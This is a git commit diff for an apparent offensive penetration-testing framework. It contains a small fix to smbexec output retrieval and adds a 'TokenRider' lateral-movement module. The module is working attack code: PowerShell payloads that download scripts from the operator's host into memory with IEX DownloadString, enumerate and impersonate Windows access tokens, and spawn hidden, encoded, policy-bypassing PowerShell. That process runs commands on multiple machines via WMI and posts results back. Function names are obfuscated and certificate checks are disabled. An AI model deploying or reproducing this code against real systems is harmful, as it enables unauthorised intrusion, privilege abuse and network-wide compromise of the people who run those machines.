Initial commit for the token_rider module! OMFG this thing is amazing

it deserves its own blog post!

Fixed a bug with the smbexec execution method which would cause it to
exit without retrieving output

core/execmethods/smbexec.py

@@ -1,5 +1,6 @@
 import traceback
 
+from gevent import sleep
 from impacket.dcerpc.v5 import transport, scmr
 from impacket.smbconnection import *
 from core.helpers import gen_random_string
@@ -90,9 +91,13 @@ class SMBEXEC:
         def output_callback(data):
             self.__outputBuffer += data
 
+        while True:
+            try:
                 self.transferClient.getFile(self.__share, self.__output, output_callback)        
-        
                 self.transferClient.deleteFile(self.__share, self.__output)
+                break
+            except Exception:
+                sleep(2)
 
     def execute_remote(self, data):
         if self.__retOutput:

core/execmethods/wmiexec.py

@@ -88,7 +88,7 @@ class WMIEXEC:
             except Exception as e:
                 if str(e).find('STATUS_SHARING_VIOLATION') >=0:
                     # Output not finished, let's wait
-                    sleep(1)
+                    sleep(2)
                     pass
                 else:
                     #print str(e)

modules/lateral_movement/token_rider.py

@@ -0,0 +1,151 @@
+from core.helpers import create_ps_command, gen_random_string, obfs_ps_script
+from base64 import b64encode
+
+
+class CMEModule:
+
+    '''
+        This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials:
+
+        1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated
+        2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs)
+        3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI.
+
+        Module by @byt3bl33d3r
+    '''
+
+    name = 'TokenRider'
+
+    def options(self, context, module_options):
+        '''
+            TARGET   Target machine(s) to execute the command on (comma seperated)
+            USER     User to impersonate
+            DOMAIN   Domain of the user to impersonate
+            CMD      Command to execute on the target system(s) (Required if CMDFILE isn't specified)
+            CMDFILE  File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
+        '''
+
+        self.target_computers = ''
+        self.target_user = module_options['USER']
+        self.target_domain = module_options['DOMAIN']
+        self.command = module_options['COMMAND']
+        
+        targets = module_options['TARGET'].split(',')
+        for target in targets:
+            self.target_computers += '"{}",'.format(target)
+        self.target_computers = self.target_computers[:-1]
+
+        self.obfs_name = gen_random_string()
+
+        #context.log.debug('Target system string: {}'.format(self.target_computers))
+
+    def on_admin_login(self, context, connection):
+
+        second_stage = '''
+        [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
+        IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server, 
+                                                                                                            addr=context.localip, 
+                                                                                                            port=context.server_port)
+        context.log.debug(second_stage)
+
+        #Main payload
+        payload = '''
+        IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
+        $tokens = Invoke-{obfs_func} -Enum;
+        foreach ($token in $tokens){{
+            if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
+
+                $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
+                $request.Method = 'POST';
+                $request.ContentType = 'application/x-www-form-urlencoded';
+                $bytes = [System.Text.Encoding]::ASCII.GetBytes("Found token for user " + ($token.Domain + '\\' + $token.Username));
+                $request.ContentLength = $bytes.Length;
+                $requestStream = $request.GetRequestStream();
+                $requestStream.Write( $bytes, 0, $bytes.Length );
+                $requestStream.Close();
+                $request.GetResponse();
+
+                Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
+                return
+            }}
+        }}
+
+        $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
+        $request.Method = 'POST';
+        $request.ContentType = 'application/x-www-form-urlencoded';
+        $bytes = [System.Text.Encoding]::ASCII.GetBytes("User token not present on system!");
+        $request.ContentLength = $bytes.Length;
+        $requestStream = $request.GetRequestStream();
+        $requestStream.Write( $bytes, 0, $bytes.Length );
+        $requestStream.Close();
+        $request.GetResponse();'''.format(obfs_func=self.obfs_name,
+                                          command=b64encode(second_stage.encode('UTF-16LE')),
+                                          server=context.server,
+                                          addr=context.localip,
+                                          port=context.server_port,
+                                          user=self.target_user,
+                                          domain=self.target_domain)
+
+        context.log.debug(payload)
+        payload = create_ps_command(payload)
+        connection.execute(payload, method='smbexec')
+        context.log.success('Executed payload')
+
+    def on_request(self, context, request):
+        if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
+            request.send_response(200)
+            request.end_headers()
+
+            with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script:
+                ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
+                request.wfile.write(ps_script)
+
+        elif 'TokenRider.ps1' == request.path[1:]:
+            request.send_response(200)
+            request.end_headers()
+
+            #Command to execute on the target system(s)
+            command_to_execute  = 'cmd.exe /c {}'.format(self.command)
+            #context.log.debug(command_to_execute)
+
+            #This will get executed in the process that was created with the impersonated token
+            elevated_ps_command = '''
+            [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
+            $post_output = "Executed command on target!";
+
+            try{{
+                Invoke-WmiMethod -Path Win32_process -Name create -ComputerName @({}) -ArgumentList "{}";
+            }} catch {{
+                $post_output = "Error executing command: $_.Exception.Message";
+            }}
+            $request = [System.Net.WebRequest]::Create('{}://{}:{}/');
+            $request.Method = 'POST';
+            $request.ContentType = 'application/x-www-form-urlencoded';
+            $bytes = [System.Text.Encoding]::ASCII.GetBytes($post_output);
+            $request.ContentLength = $bytes.Length;
+            $requestStream = $request.GetRequestStream();
+            $requestStream.Write( $bytes, 0, $bytes.Length );
+            $requestStream.Close();
+            $request.GetResponse();'''.format(self.target_computers, command_to_execute, context.server, context.localip, context.server_port)
+
+            request.wfile.write(elevated_ps_command)
+
+        else:
+            request.send_response(404)
+            request.end_headers()
+
+    def on_response(self, context, response):
+        response.send_response(200)
+        response.end_headers()
+        length = int(response.headers.getheader('content-length'))
+        data = str(response.rfile.read(length))
+
+        if len(data) > 0:
+
+            if data.find('User token not present') != -1:
+                response.stop_tracking_host()
+
+            elif data.find('Executed command') != -1 or data.find('Error executing') != -1:
+                response.stop_tracking_host()
+
+            context.log.highlight(data.strip())